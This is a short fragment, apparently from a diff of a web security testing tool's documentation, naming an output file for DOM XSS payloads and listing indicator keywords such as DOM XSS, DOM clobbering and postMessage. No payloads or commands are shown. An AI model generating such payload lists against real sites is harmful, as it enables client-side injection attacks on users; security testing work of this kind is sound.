- `/workspace/output/TARGET_domxss_payloads.txt` — payload list
|
|
104
|
+
|
|
105
|
+
indicators: dom-based vulnerabilities, dom xss, dom clobbering, postmessage, client-side injection
|